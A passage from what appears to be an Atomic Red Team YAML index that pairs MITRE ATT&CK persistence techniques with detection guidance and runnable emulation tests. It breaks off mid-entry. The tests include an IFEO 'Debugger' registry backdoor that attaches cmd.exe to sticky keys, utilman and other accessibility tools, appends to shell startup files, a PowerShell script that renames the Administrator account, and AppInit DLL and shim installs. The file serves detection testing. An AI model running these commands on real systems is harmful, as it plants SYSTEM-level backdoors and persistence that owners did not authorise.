---
persistence:
T1156:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Process use of network
x_mitre_permissions_required:
- User
- Administrator
name: ".bash_profile and .bashrc"
description: "~/.bash_profile and ~/.bashrc are shell
scripts that contain shell commands. These files are executed in a user's
context when a new shell opens or when a user logs in so that their environment
is set correctly. ~/.bash_profile is executed for login shells
and ~/.bashrc is executed for interactive non-login shells. This
means that when a user logs in (via username and password) to the console
(either locally or remotely via something like SSH), the ~/.bash_profile
script is executed before the initial command prompt is returned to the user.
After that, every time a new shell is opened, the ~/.bashrc script
is executed. This allows users more fine-grained control over when they want
certain commands executed. These shell scripts are meant to be written to
by the local user to configure their own environment. \n\nThe macOS Terminal.app
is a little different in that it runs a login shell by default each time a
new terminal window is opened, thus calling ~/.bash_profile each
time instead of ~/.bashrc.\n\nAdversaries may abuse these shell
scripts by inserting arbitrary shell commands that may be used to execute
other binaries to gain persistence. Every time the user logs in or opens a
new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation:
amnesia malware)."
id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: While users may customize their ~/.bashrc and
~/.bash_profile files , there are only certain types of commands
that typically appear in these files. Monitor for abnormal commands such as
execution of unknown programs, opening network sockets, or reaching out across
the network when user profiles are loaded during the login process.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1156
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1156
- source_name: amnesia malware
description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
modified: '2019-06-13T14:49:56.024Z'
identifier: T1156
atomic_tests:
- name: Add command to .bash_profile
description: 'Adds a command to the .bash_profile file of the current user
'
supported_platforms:
- macos
- linux
input_arguments:
command_to_add:
description: Command to add to the .bash_profile file
type: string
default: "/path/to/script.py"
executor:
name: sh
command: 'echo "#{command_to_add}" >> ~/.bash_profile
'
- name: Add command to .bashrc
description: 'Adds a command to the .bashrc file of the current user
'
supported_platforms:
- macos
- linux
input_arguments:
command_to_add:
description: Command to add to the .bashrc file
type: string
default: "/path/to/script.py"
executor:
name: sh
command: 'echo "#{command_to_add}" >> ~/.bashrc
'
T1015:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Windows Registry
- File monitoring
- Process monitoring
name: Accessibility Features
description: |-
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)
* On-Screen Keyboard: C:\Windows\System32\osk.exe
* Magnifier: C:\Windows\System32\Magnify.exe
* Narrator: C:\Windows\System32\Narrator.exe
* Display Switcher: C:\Windows\System32\DisplaySwitch.exe
* App Switcher: C:\Windows\System32\AtBroker.exe
id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Changes to accessibility utility binaries or binary paths
that do not correlate with known software, patch cycles, etc., are suspicious.
Command line invocation of tools capable of modifying the Registry for associated
keys are also suspicious. Utility arguments and the binaries themselves should
be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Paul Speulstra, AECOM Global Security Operations Center
created: '2017-05-31T21:30:26.946Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1015
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1015
- source_name: capec
external_id: CAPEC-558
url: https://capec.mitre.org/data/definitions/558.html
- source_name: FireEye Hikit Rootkit
description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT:
ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.'
url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
- source_name: DEFCON2016 Sticky Keys
description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
the Kingdom. Retrieved July 5, 2017.
url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
- source_name: Tilbury 2014
description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
Retrieved November 12, 2014.
url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
modified: '2019-07-16T19:07:04.652Z'
identifier: T1015
atomic_tests:
- name: Attaches Command Prompt As Debugger To Process - osk
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: osk.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - sethc
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: sethc.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - utilman
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: utilman.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - magnify
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: magnify.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - narrator
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: narrator.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - DisplaySwitch
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: DisplaySwitch.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
- name: Attaches Command Prompt As Debugger To Process - AtBroker
description: 'This allows adversaries to execute the attached process
'
supported_platforms:
- windows
input_arguments:
target_executable:
description: File You Want To Attach cmd To
type: String
default: atbroker.exe
executor:
name: command_prompt
elevation_required: true
command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_executable}" /v "Debugger" /t REG_SZ /d
"C:\windows\system32\cmd.exe" /f
'
T1098:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Authentication logs
- API monitoring
- Windows event logs
- Packet capture
name: Account Manipulation
description: |-
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
### Exchange Email Account Takeover
The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
### Azure AD
In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)
### AWS
AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)
id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
x_mitre_platforms:
- Windows
- Office 365
- Azure
- GCP
- Azure AD
- AWS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
x_mitre_system_requirements:
- 'Exchange email account takeover: Sufficient permission to run the Add-MailboxPermission
PowerShell cmdlet (depending on parameters used, may require more permission)'
type: attack-pattern
x_mitre_detection: |-
Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.(Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.
Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.
A larger volume of emails sent from an account than normal and the discovery of similar phishing emails being sent from real accounts within a network may be signs that an account may have been compromised and attempts to leverage access with modified email permissions is occurring.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
- Praetorian
- Tim MalcomVetter
created: '2017-05-31T21:31:12.196Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- source_name: mitre-attack
external_id: T1098
url: https://attack.mitre.org/techniques/T1098
- description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
13, 2019.
source_name: Microsoft - Add-MailboxPermission
url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
- description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
O365. Retrieved September 13, 2019.'
source_name: Bienstock, D. - Defending O365 - 2019
url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
- description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
Azure. Retrieved October 23, 2019.'
source_name: Blue Cloud of Death
url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
- description: Piper, Scott. (2019, April 3). Advanced AWS policy auditing -
Confused deputies with AWS services. Retrieved October 23, 2019.
source_name: Summit Route Advanced AWS policy auditing
url: https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/
- description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
was changed. Retrieved June 30, 2017.'
source_name: Microsoft User Modified Event
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
- source_name: InsiderThreat ChangeNTLM July 2017
description: Warren, J. (2017, July 11). Manipulating User Passwords with
Mimikatz. Retrieved December 4, 2017.
url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
- source_name: GitHub Mimikatz Issue 92 June 2017
description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
work, but generate Windows events #92. Retrieved December 4, 2017.'
url: https://github.com/gentilkiwi/mimikatz/issues/92
modified: '2019-10-23T14:49:39.188Z'
identifier: T1098
atomic_tests:
- name: Admin Account Manipulate
description: 'Manipulate Admin Account Name
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: |
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHaHa_$x$y$z$w
$hostname = (Get-CIMInstance CIM_ComputerSystem).Name
$fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name
foreach($member in $fmm) {
if($member -like "*Administrator*") {
Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w"
Write-Host "Successfully Renamed Administrator Account on" $hostname
}
}
'':
technique:
x_mitre_data_sources:
- AWS CloudTrail logs
- Stackdriver logs
- Authentication logs
- Process monitoring
x_mitre_permissions_required:
- User
- Administrator
name: Valid Accounts
description: "Adversaries may steal the credentials of a specific user or service
account using Credential Access techniques or capture credentials earlier
in their reconnaissance process through social engineering for means of gaining
Initial Access. \n\nAccounts that an adversary may use can fall into three
categories: default, local, and domain accounts. Default accounts are those
that are built-into an OS such as Guest or Administrator account on Windows
systems or default factory/provider set accounts on other types of systems,
software, or devices. Local accounts are those configured by an organization
for use by users, remote support, services, or for administration on a single
system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts
are those managed by Active Directory Domain Services where access and permissions
are configured across systems and services that are part of that domain. Domain
accounts can cover users, administrators, and services.\n\nCompromised credentials
may be used to bypass access controls placed on various resources on systems
within the network and may even be used for persistent access to remote systems
and externally available services, such as VPNs, Outlook Web Access and remote
desktop. Compromised credentials may also grant an adversary increased privilege
to specific systems or access to restricted areas of the network. Adversaries
may choose not to use malware or tools in conjunction with the legitimate
access those credentials provide to make it harder to detect their presence.\n\nDefault
accounts are also not limited to Guest and Administrator on client machines,
they also include accounts that are preset for equipment such as network devices
and computer applications whether they are internal, open source, or COTS.
Appliances that come preset with a username and password combination pose
a serious threat to organizations that do not change it post installation,
as they are easy targets for an adversary. Similarly, adversaries may also
utilize publicly disclosed private keys, or stolen private keys, to legitimately
connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021)
(Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials,
and permissions across a network of systems is of concern because the adversary
may be able to pivot across accounts and systems to reach a high level of
access (i.e., domain or enterprise administrator) to bypass access controls
set within the enterprise. (Citation: TechNet Credential Theft)"
id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
modified: '2019-10-23T14:22:11.800Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
- SaaS
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: "Configure robust, consistent account activity audit policies
across the enterprise and with externally accessible services. (Citation:
TechNet Audit Policy) Look for suspicious account behavior across systems
that share accounts, either user, admin, or service accounts. Examples: one
account logged into multiple systems simultaneously; multiple accounts logged
into the same machine simultaneously; accounts logged in at odd times or outside
of business hours. Activity may be from interactive login sessions or process
ownership from accounts being used to execute binaries on a remote system
as a particular account. Correlate other security systems with login information
(e.g., a user has an active login session but has not entered the building
or does not have VPN access).\n\nPerform regular audits of domain and local
system accounts to detect accounts that may have been created by an adversary
for persistence. Checks on these accounts could also include whether default
accounts such as Guest have been activated. These audits should also include
checks on any appliances and applications for default credentials or SSH keys,
and if any are discovered, they should be updated immediately. "
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Netskope
- Mark Wee
- Praetorian
created: '2017-05-31T21:31:00.645Z'
x_mitre_effective_permissions:
- User
- Administrator
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: initial-access
external_references:
- external_id: T1078
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1078
- source_name: capec
external_id: CAPEC-560
url: https://capec.mitre.org/data/definitions/560.html
- description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
11, 2019.
source_name: Microsoft Local Accounts Feb 2019
url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
- description: undefined. (n.d.). Retrieved April 12, 2019.
source_name: Metasploit SSH Module
url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
- source_name: TechNet Credential Theft
description: Microsoft. (2016, April 15). Attractive Accounts for Credential
Theft. Retrieved June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn535501.aspx
- source_name: TechNet Audit Policy
description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn487457.aspx
x_mitre_defense_bypassed:
- Firewall
- Host intrusion prevention systems
- Network intrusion detection system
- Process whitelisting
- System access controls
- Anti-virus
atomic_tests: []
T1103:
technique:
x_mitre_data_sources:
- Loaded DLLs
- Process monitoring
- Windows Registry
x_mitre_permissions_required:
- Administrator
name: AppInit DLLs
description: |-
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Secure boot disabled on systems running Windows 8 and later
type: attack-pattern
x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
look for DLLs that are not recognized or not normally loaded into a process.
Monitor the AppInit_DLLs Registry values for modifications that do not correlate
with known software, patch cycles, etc. Monitor and analyze application programming
interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such
as Sysinternals Autoruns may also be used to detect system changes that could
be attempts at persistence, including listing current AppInit DLLs. (Citation:
TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to
a process loading a malicious DLL. Data and events should not be viewed in
isolation, but as part of a chain of behavior that could lead to other activities,
such as making network connections for Command and Control, learning details
about the environment through Discovery, and conducting Lateral Movement."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:15.409Z'
x_mitre_effective_permissions:
- Administrator
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1103
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1103
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: AppInit Registry
description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
value. Retrieved July 15, 2015.
url: https://support.microsoft.com/en-us/kb/197571
- source_name: AppInit Secure Boot
description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
15, 2015.
url: https://msdn.microsoft.com/en-us/library/dn280412
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-16T19:09:25.240Z'
identifier: T1103
atomic_tests:
- name: Install AppInit Shim
description: 'AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
to be loaded into each user mode process on the system
'
supported_platforms:
- windows
input_arguments:
registry_file:
description: Windows Registry File
type: Path
default: T1103.reg
executor:
name: command_prompt
elevation_required: true
command: 'reg.exe import #{registry_file}
'
T1138:
technique:
x_mitre_data_sources:
- Loaded DLLs
- System calls
- Windows Registry
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- Administrator
name: Application Shimming
description: "The Microsoft Windows Application Compatibility Infrastructure/Framework
(Application Shim) was created to allow for backward compatibility of software
as the operating system codebase changes over time. For example, the application
shimming feature allows developers to apply fixes to applications (without
rewriting code) that were created for Windows XP so that it will work with
Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework,
shims are created to act as a buffer between the program (or more specifically,
the Import Address Table) and the Windows OS. When a program is executed,
the shim cache is referenced to determine if the program requires the use
of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179)
to redirect the code as necessary in order to communicate with the OS. \n\nA
list of all shims currently installed by the default Windows installer (sdbinst.exe)
is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows
nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases
are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n*
hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo
keep shims secure, Windows designed them to run in user mode so they cannot
modify the kernel and you must have administrator privileges to install a
shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)
(UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179),
utilizing these shims may allow an adversary to perform several malicious
acts such as elevate privileges, install backdoors, disable defenses like
Windows Defender, etc."
id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
* Shim-Process-Scanner - checks memory of every running process for any Shim flags
* Shim-Detector-Lite - detects installation of custom shim databases
* Shim-Guard - monitors registry for any shim installations
* ShimScanner - forensic tool to find active shims in memory
* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1138
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1138
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Black Hat 2015 App Shim
description: Pierce, Sean. (2015, November). Defending Against Malicious Application
Compatibility Shims. Retrieved June 22, 2017.
url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
modified: '2019-07-16T19:24:57.985Z'
identifier: T1138
atomic_tests:
- name: Application Shim Installation
description: |
To test injecting DLL into a custom application
you need to copy AtomicShim.dll Into C:\Tools
As well as Compile the custom app.
We believe observing the shim install is a good
place to start.
supported_platforms:
- windows
input_arguments:
file_path:
description: Path to the shim databaase file
type: String
default: C:\AtomicRedTeam\atomics\T1138\src\AtomicShimx86.sdb
executor:
name: command_prompt
elevation_required: true
command: |
sdbinst.exe #{file_path}
sdbinst.exe -u #{file_path}
T1197:
technique:
x_mitre_data_sources:
- API monitoring
- Packet capture
- Windows event logs
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: BITS Jobs
description: |-
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)
Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)
BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)
id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
modified: '2019-07-16T20:02:53.027Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Red Canary
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1197
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1197
- source_name: Microsoft COM
description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
22, 2017.
